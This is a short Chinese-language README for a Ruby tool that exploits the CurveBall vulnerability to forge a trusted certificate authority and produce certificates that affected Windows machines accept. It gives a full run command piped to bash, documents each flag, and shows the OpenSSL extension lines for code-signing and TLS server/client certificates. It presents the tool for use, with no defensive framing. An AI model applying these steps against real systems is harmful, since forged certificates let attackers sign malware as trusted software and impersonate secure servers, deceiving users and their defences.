
CurveBall CVE exploitation
该 Ruby 脚本可用于伪造合法证书颁发机构,并生成一个在受 CurveBall 漏洞影响的 Windows 计算机上被视为有效的证书。
你需要获取一个来自你想伪造的证书颁发机构的证书。
然后,你可以使用以下命令运行该脚本:
ruby gen-rogue-cert.rb -in=ca.crt -subj="/C=France/ST=IleDeFrance/L=Paris/O=YoannDqr" -out=cert_rb.p12 -exe=DoNotDebugMe.exe -sh -type=exe -sh | bash
该脚本可用于生成签名的 PE 文件以及 TLS 服务器。
-in : 必需;要伪造的受信任 CA 证书的路径
-out : 必需;生成的证书的存储路径
-type : 必需;可以是 'exe'(代码签名证书)或 'tls'(服务器和客户端认证证书)
-exe : 可选;要签名的可执行文件的名称
-subj : 可选;生成证书的主题
-sh : 标志(可选);仅返回使用证书所需的 Bash 命令(例如:签名可执行文件的命令行)
该脚本基于 Ruby 的 OpenSSL 库 https://github.com/ruby/openssl。
它将从输入的证书中找到的公钥生成一个伪造的 CA。 然后,它会生成一个证书签名请求,并使用伪造的 CA 证书对其进行签名。 该证书将被打包到 pcks12 文件中并保存在你的计算机上。
要添加生成 TLS 证书等功能,只需修改从证书签名请求生成的证书的扩展即可。
csr_cert.add_extension(extension_factory.create_extension('extendedKeyUsage', 'codeSigning'))csr_cert.add_extension(extension_factory.create_extension('extendedKeyUsage', 'serverAuth, clientAuth'))